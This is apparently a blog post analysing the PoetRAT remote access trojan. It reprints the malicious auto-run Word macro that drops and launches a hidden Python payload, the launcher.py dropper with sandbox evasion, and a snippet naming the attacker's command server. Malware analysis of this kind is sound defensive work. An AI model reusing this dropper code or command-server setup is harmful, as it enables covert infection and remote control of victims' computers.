Static Application Security Testing of PoetRAT Malware

Harsh Mehta
7 min readJan 1, 2023

--

Lets start with basic analysis:

MD5: 3aadbf7e527fc1a050e1c97fea1cba4d

SHA256: 208ec23c233580dbfc53aad5655845f7152ada56dd6a5c780d54e84a9d227407

Sample source: https://github.com/UVvirus/malware_samples/tree/main/Poetrat

Non-Technical Overview

  • The file is a Microsoft Word document (docer.doc) containing macros.
  • The malicious VBA code creates a zip file (smile.zip).
  • launcher.py is executed after extracting the the zip file.
  • launcher.py checks the disk size (for sandbox environment).
  • launcher.py executes two other python files; smile.py and frown.py.
  • smile.py creates Abibliophobia23.ready file which stores commands and its output as requested by attacker.
  • The contents of the Abibliophobia23.ready file is stored in form of Affine cipher.
  • frown.py connects to the attacker. The commands supplied by attacker are stored in Abibliophobia23.ready.
  • smile.py reads the commands from Abibliophobia23.ready file and rewrites the file with its output. (Spawns a cmd as daemon process)
  • frown.py reads the contents of Abibliophobia23.ready and sends the data to attacker (dellgenius.hopto.org, 143) over SSL.
  • Attacker can supply all types of commands like taking a snapshot, downloading/uploading files, editing registries, et cetra.

Static Analysis

By running the file command on the sample, I found out that it's a Microsoft composite v2 document.

Okay, so what is a composite document? According to Wikipedia:

To simplify this; it’s an old version of a Microsoft Word document which is quite uncommon to use nowadays. Let’s search this file on VirusTotal.

Many of the vendors have tagged this file as malicious however, some major brands could not detect the threat. Since, Microsoft Word documents can have macros enabled, I’ll use a tool called olevba to extract the macros from the document.

A macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically.

VBA Script Analysis

Sub document_open()
ActiveDocument.ActiveWindow.View.ReadingLayout = False
ActiveDocument.Unprotect "securePass"
show
ActiveDocument.Protect wdAllowOnlyReading, True, "securePass", False, False

Dim data As String
Dim User As String
Dim bla As String
Dim Coper As Object
User = "C:\Users\Public"
Docer = ActiveDocument.FullName

Call Shell("cmd /c copy " + Docer + " " + User + "\docer.doc", vbHide)
deay (4)

data = bin2var(User + "\docer.doc")
data = Right(data, 7074638)
var2bin User + "\smile.zip", data
bla = VBA.FileSystem.Dir(User + "\Python37", vbDirectory)

If bla <> VBA.Constants.vbNullString Then
Call Shell("cmd /c rmdir /s /q " + User + "\Python37", vbHide)
deay (2)

End If
Unzip User + "\smile.zip", User, "Python37"

Kill User + "\smile.zip"
Kill User + "\docer.doc"

Call Shell("""" & User & "\Python37\python.exe" & """ """ & User & "\Python37\launcher.py" & """", vbHide)
End Sub

Function bin2var(filename As String) As String
Dim f As Integer
f = FreeFile()
Open filename For Binary Access Read Lock Write As #f
bin2var = Space(FileLen(filename))
Get #f, , bin2var
Close #f
End Function

Sub var2bin(filename As String, data As String)
Dim f As Integer
f = FreeFile()
Open filename For Output Access Write Lock Write As #f
Print #f, data;
Close #f
End Sub

Sub Unzip(Fname As Variant, DefPath As String, TarFold As String)
Dim oApp As Object
Dim FileNameFolder As Variant

If Right(DefPath, 1) <> "\" Then
DefPath = DefPath & "\"
End If
strDate = Format(Now, " dd-mm-yy h-mm-ss")
FileNameFolder = DefPath & TarFold & "\"

MkDir FileNameFolder
Set oApp = CreateObject("Shell.Application")
oApp.Namespace(FileNameFolder).CopyHere oApp.Namespace(Fname).items, 4
End Sub

Sub hide()
ActiveDocument.Sections(1).Range.Font.Hidden = False
For Each Section In ActiveDocument.Sections
If Section.Index > 1 Then Section.Range.Font.Hidden = True
Next
End Sub

Sub show()
ActiveDocument.Sections(1).Range.Font.Hidden = True
For Each Section In ActiveDocument.Sections
If Section.Index > 1 Then Section.Range.Font.Hidden = False
Next
End Sub

Function deay(min)
Dim ptr
ptr = DateAdd("s", min, Time())
If ptr > Time() Then
Do Until (Time() > ptr)
Loop
End If
End Function

+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|AutoExec |document_open |Runs when the Word or Publisher document is |
| | |opened |
|Suspicious|Open |May open a file |
|Suspicious|Write |May write to a file (if combined with Open) |
|Suspicious|Output |May write to a file (if combined with Open) |
|Suspicious|Print # |May write to a file (if combined with Open) |
|Suspicious|Binary |May read or write a binary file (if combined |
| | |with Open) |
|Suspicious|CopyHere |May copy a file |
|Suspicious|Kill |May delete a file |
|Suspicious|Shell |May run an executable file or a system |
| | |command |
|Suspicious|vbHide |May run an executable file or a system |
| | |command |
|Suspicious|Run |May run an executable file or a system |
| | |command |
|Suspicious|Create |May execute file or a system command through |
| | |WMI |
|Suspicious|Call |May call a DLL using Excel 4 Macros (XLM/XLF)|
|Suspicious|MkDir |May create a directory |
|Suspicious|CreateObject |May create an OLE object |
|Suspicious|Shell.Application |May run an application (if combined with |
| | |CreateObject) |
|Suspicious|Base64 Strings |Base64-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
|IOC |python.exe |Executable file name |
+----------+--------------------+---------------------------------------------+

If a user opens this document, this script will be executed; document_open().

Sub document_open()
'This closes the reading layout view.
ActiveDocument.ActiveWindow.View.ReadingLayout = False

'This removes the protection form the document
ActiveDocument.Unprotect "securePass"
show

'This will allow only reading access to the document
ActiveDocument.Protect wdAllowOnlyReading, True, "securePass", False, False

'Defining some variables
Dim data As String
Dim User As String
Dim bla As String
Dim Coper As Object
User = "C:\Users\Public"

'String containing the path and name of this document
Docer = ActiveDocument.FullName

'Opens a hidden shell and copies the document and places it in C:\Users\Public as docer.doc
Call Shell("cmd /c copy " + Docer + " " + User + "\docer.doc", vbHide)
deay (4)

'Calls bin2var passing the document as argument
data = bin2var(User + "\docer.doc")

Let’s analyze bin2var() function:

'This opens the supplied file as binary data
Function bin2var(filename As String) As String
Dim f As Integer
f = FreeFile()
Open filename For Binary Access Read Lock Write As #f
bin2var = Space(FileLen(filename))
Get #f, , bin2var
Close #f
End Function

Coming back to our flow (document_open());

    'Extracts 7074638 characters from right
data = Right(data, 7074638)

'var2bin C:\Users\Public\smile.zip, data
var2bin User + "\smile.zip", data
'Basically, the binary data is being converted and created into a zip file.

'Returns the path for Python37
bla = VBA.FileSystem.Dir(User + "\Python37", vbDirectory)
If bla <> VBA.Constants.vbNullString Then

'Deletes all files under Python37 directory
Call Shell("cmd /c rmdir /s /q " + User + "\Python37", vbHide)
deay (2)
End If

'Unzip the zip file to C:\Users\Public\Python37
Unzip User + "\smile.zip", User, "Python37"

'Deletes the zip and the document file
Kill User + "\smile.zip"
Kill User + "\docer.doc"

'Executes launcher.py (which was extracted from the smile.zip) in hidden mode
Call Shell("""" & User & "\Python37\python.exe" & """ """ & User & "\Python37\launcher.py" & """", vbHide)
End Sub

Since, the smile.zip is present in the Word file, I used simple Python script to carve out the zip file.

with open('poetrat','rb') as fil:
data = fil.read()

data = data[::-1]
data = data[:7074638]
with open('out.zip','wb') as ot:
ot.write(data[::-1])

This python script will carve out the zip file and name it as out.zip. The zip file contains a lot of files, mostly related to python and some Windows DLL files. We can see launcher.py, which out VBA macro executes.

Python Dropper Analysis

Let’s analyze launcher.py:

import shutil
import sys
import time
import uuid
import smile_funs

me = sys.argv[0]
fold = me[:me.rfind("\\") + 1]

def police():
# Executes smile.py and frown.py
smile_funs.run_cmd("\"{0}python.exe\" \"{0}smile.py\"".format(fold), False)
time.sleep(5)
smile_funs.run_cmd("\"{0}python.exe\" \"{0}frown.py\"".format(fold), False)

def crack():
# Overwrite the code files
open(fold + "smile.py", "wb").write(open(fold + "LICENSE.txt", "rb").read())
open(fold + "smile_funs.py", "wb").write(open(fold + "LICENSE.txt", "rb").read())
open(fold + "frown.py", "wb").write(open(fold + "LICENSE.txt", "rb").read())
sys.exit(4)

def good_disk_size():
# Checks whether the disk size is greater than 62
return 62 < round(shutil.disk_usage("/")[0]) / 2 ** 30


if __name__ == '__main__':
if len(sys.argv) == 2:
if sys.argv[1] == "police":
police()
else:
# This checks whether the file is being run in a sandbox
if not good_disk_size():
crack()
sys.exit(0)
d = open(fold + "frown.py", "r").read()
uu = str(uuid.uuid4())
d = d.replace("THE_GUID_KEY", uu)

open(fold + "frown.py", "w").write(d)
open(fold + ".key", "w+").write(uu)
police()

So basically, launcher.py calls other two python files; smile.py and frown.py. Below is a snippet from frown.py:

...
...
host = "dellgenius.hopto.org"
port = 143
wanted = True
guid = "THE_GUID_KEY" # Will be replaced by a random uuid generated by the previous code.
sock = None
me = sys.argv[0]
fold = me[:me.rfind("\\") + 1]
pipe_out = fold + "Abibliophobia23"
...
...

We can see the malicious domain as dellgenius.hopto.org which the file tries to connect on port 143. Let’s check this domain on virustotal.

Surprisingly, it has a low score which says that a lot of vendors are unaware of this malicious domain.

Conclusion

  • The document is a Python based Remote Access Trojan (RAT) which targetted Azerbaijan government and energy sector.
  • The mode of delivery was using a Microsoft Word document.
  • It can also exfiltrate data using FTP.

Sources

--

--